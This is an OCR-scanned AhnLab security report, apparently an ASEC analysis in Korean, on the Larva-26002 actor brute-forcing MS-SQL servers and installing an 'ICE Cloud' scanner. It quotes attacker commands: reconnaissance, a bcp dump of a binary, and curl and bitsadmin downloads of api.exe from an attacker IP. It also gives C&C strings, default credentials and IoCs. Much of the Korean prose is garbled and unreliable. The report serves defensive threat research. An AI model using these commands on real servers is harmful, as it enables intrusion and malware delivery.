ICE Cloud AF|HE MX|5t= MS-SQL A{t{ CHAF ZA AL
(Larva-26002)

n asec.ahnlab.com/ko/92987

ATCP March 20, 2026
Target Type File Name File Size  File Path©®
Target B apicxe 2.5MB YeALLUSERSPROFILEY \api.exe
Current B bep.exe 115.18 KB %0ProgramFileso\microsoft sql server\client sdk\odbc\1104tools\binn\bep.exe
Parent B cmd.exe 332 KB %6 SystemRootdt)\system32\cmd.exe

FarentOfParentOfCurrent @ sglservrexe 361.69 KB % ProgramFiles%t\microsoft sql server\mssgll2.mssqlserver\mssgl\binn\sqglservr.exe

Process Module Target Behavior Data

B bep.exe Creates executable file B apiexe
B sglservr.exe Deletes executable file

B cmd.exe B bcp.exe Creates process

AhnLab SEcurity intelligence Center(ASEC)2 20260 = Larva-26002 224 X7 E& AstA &
2|E 10 Y= MS-SQL MHE 24 £921 A S &ols5tRiCt. Larva-26002 2 A Xt= 1}7{ Trigona 2H A
A0 2t Mimic HM QI E 7= 20 0|0l = 2 A AEHIY Cie M E EF 5D AHEHE
MX|5t UL =2 E2l=l AWM= Go A0 E N|2H=El AT 2tA T = ICE Cloud Client7t At
=1 Ut
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AX[SHA = [1] Mimic SHA 010 A AL El O|H|Y FAa= CHE 34 AH0A ‘DE*E'-#XIXI': 2FU
X| 2t Trigona 2 M [010{| A ALEEl O|H|Y F2= Palo AltoAL2} [2] ZscalerAtol| A [3] CHFE AT O
I F 9} SUSILCH HZ 2| SIS MS-SQL Me2] BCP(Buk Copy Program) ezl
E 2UE5IRUCtH= oot SAXt= 0|20 = | M o|E S5& 22 AnyDeskE A X|5t11 RDP 12
= 25l Port forwarderE MX|5}7| = SIALCH SAUSE 2 AX= 20250 = 24 E X|=61[ o0
AnyDesk 2|0{| = RMM =72l TeramindE A}25IA 204 RustZ N|2HE AFHLEE AFE2SHAO| E
Zl0|Ct. [4]

2026'H0{| = O| X At 2t SUSHA B ASHA 22 |=l= MS-SQL MHE & 46}_.—1_ BCP% Q.F%EH
LM FACE MASINON X EMo= AL MBS MX|SHICHS & Qs
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https://asec.ahnlab.com/ko/92987/
https://asec.ahnlab.com/ko/60744/
https://unit42.paloaltonetworks.com/trigona-ransomware-update/
https://www.zscaler.com/blogs/security-research/technical-analysis-trigona-ransomware
https://asec.ahnlab.com/ko/90717/
https://www.securonix.com/blog/securonix-threat-research-security-advisory-new-returgence-attack-campaign-turkish-hackers-target-mssql-servers-to-deliver-domain-wide-mimic-ransomware/

1. MS-SQL AM{H CHAF 2

Larva-260025 9|50f =Z5(0f YOTM HH HEE Chshil MEstol Ra ciel Z2o|ut
AFE B 0| F2Fet MS-SQL A 1% T2sict BHo 4Tst 0| Bol= ChS T L2 YBES 0|8
B 249l AlARIOl ChEt HEE SEBITE

> hostname

> whoami

> ifconfig

> ifconfig /all

> netstat -an

> tasklist

> tasklist /FI “IMAGENAME eq sqlservr.exe” /[FO CSV /NH

0|= BCP REZ|IE|IE 0| 8o UMM TE=EE MAMSICH 2112 BCP FEZ|E|Cl bep.exe= MS-SQL
ME{OI| M CHEFO| 2|5 C|O|EI S 7HM @ AL LI 2Ll =0 AFR B E HME 2191 =0 ot YHkE o

2 SQL M| o] Eifo|Zofl X{&HEl ch2fo| C|o|E{ZE 22 ol njl 2 A &stH Lt 2Hoi| X &H= ol o] E
otel 2 SQL M 2| E|o| 20| LH 2L =] AFS I

B2{7H= eo|EfHI0| A0 o528 RS 0| BOPS 0|83 2ol TR 4O Y=
]

AtEelitt & SA K= AEIAETH MEE 0| = “uGnzBdZbsi"0i| M THZ 1 22 HE S 0|5
HAZEZE AHIEE LH HAﬁOD# “‘FODsOZKgAU.txt"= 81 mt =AM =81 MET}F ZEHE|0] QU

. 2t 2 “uGnzBdZbsi’2}t “FODsOZKgAU.Ixt"= 25 2024 224 A2 EE XSO ZE A2 E]
o= 719 =o|ch.

I-_I_‘."_Hu

> bep “select binaryTable from uGnzBdZbsi” queryout “C:\ProgramData\api.exe” -T -f
“C:\ProgramData\FODsOZKgAU.txt”

Target Type File Name File Size  File Path®

Target B api.exe 2.5MB YoALLUSERSPROFILEY\api.exe

Current B bep.exe 118.18 KB %ProgramFiles%\microsoft sql server\client sdk\odbc\110\tools\binn'\bep.exe
Parent B cmd.exe 332 KB YaSystemRootdu\system32\cmd.exe

ParentOfParentOfCurrent @ sglservrexe 361.69 KB 9ProgramFiles%\microsoft sql server\mssgll2.mssqlserver\mssgl\binn\sglservr.exe

Process Module Target Behavior Data
B bop.exe Creates executable file B zpiexe
B sqlservrexe Deletes executable file

B cmd.exe B bcp.exe Creates process
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Figure 1. BCP REIZ|E|E 22ot UM FE AN

51240{| A = BCPZ 0| 85t= CHAl Curl EE= Bitsadmin =7 12|10 mig 0|83 A7

=)
FEE 22 E517| = 5L

12 Jim
0x 0z

> curl -0 “C:\programdata\api.exe” “hxxp://109.205.211[.]13/api.exe”

> bitsadmin /transfer job1 /download /priority high “hxxp://109.205.211[.]13/api.exe”
“C:\programdata\api.exe”

Target Type File Name File Size  File Path @

Current B powershell.exe 444 KB %SystemRoot?o\system32\windowspowershell\wl.0\powershell.exe

Parent B cmd.exe 332 KB %6SystemRoote\system32\cmd.exe

ParentOfParentOfCurrent Il sglservrexe 361.88 KB %ProgramFiles®o\microsoft sql server\mssql12.mssglserver\mssqlibinn\sglservr.exe
Process Module Target Behavior Data

B powershell.exe Connects to network http://109.205.211.13/api.exe

B =qlservrexe Deletes executable fila

=
_

M0

Figure 2. It S 0| &t A7 A E Cf

2. ICE Cloud (A74L)

BCP EE= Curl, Bitsadming £l A A 6t “api.exe”= “ICE Cloud Client’2t= 0| E2| NI EE A

X|ot= CFR2 2 0|C} s e 2t T E = AFHLHO| X} Brute Force =2 2ZA Go HOH{ ZE 7=/ 20
“ICE Cloud Launcher’gt= 0| £0| 201 QILC}. “-show9” CIX}2} A AldictH Ct20F 24 Al

20 =olg 4 ok
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> smss 085

3 't!_runtime error: slice bounds out of
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ICE Cloud Launcher= C&C MB{0f| IS0t Z2 D7l S XS5 0155t O|FE CIREE @FHE
L A7HLH = “ICE Cloud Client’E Ct2=2EstCt. Ct2Z2EF “ICE C 3
A TEIUS QIS HEHF 0[SO AN EICY

AUTH:MSSQLRT_AUTH_ 2824 CLOUD TOKEN v2.8 SECURE @
AUTH_OK

DOWNLOAD WORKER :windows

WORKER_SIZE:7245824

MA. T ... BNy 2 e . AL - B RAY .. A
....... L.!This program cannot be run in DOS mode
;. PE..d......... Mecesnen aenana LR U N . W . @
.......................... @t...........7

Figure 4. C&C A{t{2}2| oI= mpA

2 MS-SQL Mu{of tist 270 7| s 2
120

EEotet. HPOI'—‘IEIOH ZotEl 2Xrd 2 = 0|20 = AFEE O|2X|E EH A
ZIROL M-S AIE 280t A2 2 EQICt. RDP ZE2EZ2| 42 Hadt HE HAE 7|52 EXY
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>

Function name

v mssqlt 83
v pkg 84

v COMmMmon 85

[F] mssqlrt_pkg_commaon_init 26

7| mssalr_pkg_common_GetLocallPvd 27

v rdp o

]
*quord_1486CB568;
1580;

if ( *qword_14B6CB560 > @ )

= *qword_1486CB568;
- 8;

if ( 58 )
_f mssqglrt_pkg_rdp_CheckRDP = *awor -
_f mssqlt_pkg_rdp_CheckRDF _funck i ( Rci R L06CEEE:
_f mesglt_pkg_rdp_CheckRDP _funch I

_f mssalt_pkg_rdp_CheckRDP _funcd
_f mssalrt_pkg_rdp_CheckRDP _func3
f mssalt_pkg_rdp_CheckRDP _func?
7| mzsqlrt_pkg_rdp_CheckRDP _func2_1
“T mssqlt_pkg_rdp_CheckRDP _deferwrapl
_f rmssglt_pkg_rdp_CheckRDP _func1 96
_f rmssalt_pkg_rdp_CheckRDP _func3_1 97
_f mssqlt_pkg_rdp_CheckRDP _funcd_1 98
f mssalt_pkg_rdp_CheckRDP _funch_1
7| mzsqlrt_pkg_rdp_CheckRDP _funch_1

v client
_f mesglt_pkg_client_clientLog
_f msslt_pkg_client_acquireWorkerLock
_f mssqlt_pkg_client_release'WarkerLock
f mssalt_pkg_client_checkEmergencyShutdown

_f mssqglt_pkg_client_checkEmergencyShutdown_
_f mssqlt_pkg_client_getMax Threads
_( mesglt_pkg_client_gethMax Threads _deferwrapl
_f mssalt_pkg_client_sethvax Threads
_f mssalt_pkg_client_setax Threads _deferwrapi

j mssalrt_pkg_client_requestConfig }

_f mssqglt_pkg_client_setEmergencyShutdown gmemcpy (v27, &unk_1483FDOD8, sizeof(
_f mssqglt_pkg_client_RunClient [e] = hc;*’ oids.com”;

_f mesglt_pkg_client_connectAndRegister 113 [1] = 13;

_f mesglt_pkg_client_tasklLoop 114 [2] = 28902;

[F] mesain_pkg_client_process Tasksync 115 r111 = :

Figure 5. E{7|0{ 2X}2 1} 0| 2 X|

[B] = &RTVP _string;

[1] = &off_14B3FaEsE;

[2] = &RTYPE_string;

[3] = runtime_convTstring(
fmt_Fprintf(off_l4e3F7R08, qwo

[@] = &RTYPE_string;

[1] = &off_14@3F4E90;

[2] = &RTYPE_int;

[3] = &unk_14@3F4A88;
fmt_Fprintf(off_l483F7A08, qwo

[@] = &RTYPE int;

[1] = runtime_convT64( ' H
fmt_Fprintf(off_l483F7A08, qwo

. '
rd_l4@6CB598,

rd_14@6CB598,

rd_14@6CB598,

"#8 ICE Cloud Client v¥s (%s)\n", 33, 5 P A

"€ Server: ¥s:¥d\n", 19, » 2, 2);

1

Figure 6. ICE Cloud Client A8 27

A7 = C&C M 2t2| 215 0| S5 W2 XISt 0|0 et AB[A= A 34 o4t
MS-SQL MHES| A EEE MESHCE O2| 10 “TASK” EXME 0t 84| AL CHA =2 EZ
“mssql”, ID/IPWQI “ecomm/ecomm’E ML BICH A= 0|2 &tD 6H AN CHA A0 M
2 ID/PWE MS-SQL 1SS A|E5HH M2 HIL= C&C A0 R&sIChH

"% ROP Timeout: ¥ds (Threads: server'dan alinacak)\n"
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AUTH:MSSOLRT AUTH 2824 CLOUD TOKEN wv2.@ SECURE &

Figure 7. C&C MHZR2E MEE2 ATl H|0|E

3. 48

MS-SQL MBS iAo 2 5t BH0|= HEX O R RS AY H2E R2lstD U AlA
Bl S0 CH&t £ X1 cH el 224 (Brute Forcing)t AFM Z2Z(Dictionary Attack)o| Tt 22| XIEL2
Aol HlUH S E £5517| 022 HENZ ALRSID F7|X o2 BiZsto] RAE tHe BZ T Af

M S22 2 2E| H|O|E{H|0| & M E E S35 Of Bt

E UM HHM2Z HH|0|EBI0 e T =S| ZAS Ao AHHE = JEE A
Ch EESt 2|20 S7H=0] 2 7ts et HIO|E{H| 0] & AME{of| CHSH et nt Z X
SAXZRE 9| HZE SHISHOf ettt 22F €2 =X[7F MY E K|
o O

30| O|RO{E = ULt

(=

=
ot

IN

0a9f2e2ff98e9f19428da79680e80b77
28847cb6859b8239f59¢cbf2b8f194770
5200410ec674184707b731b697154522
7fbbf16256¢7c89d952fee47b70ea759
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89bf428b2d9214a66e2ea78623e8b5c9
=7} loC= ATIPO|A{ M| 2=lL|Ct

URL
http[:]//109[.]205[.]211[.]13/api[.]Jexe
FQDN

hostroids[.Jcom
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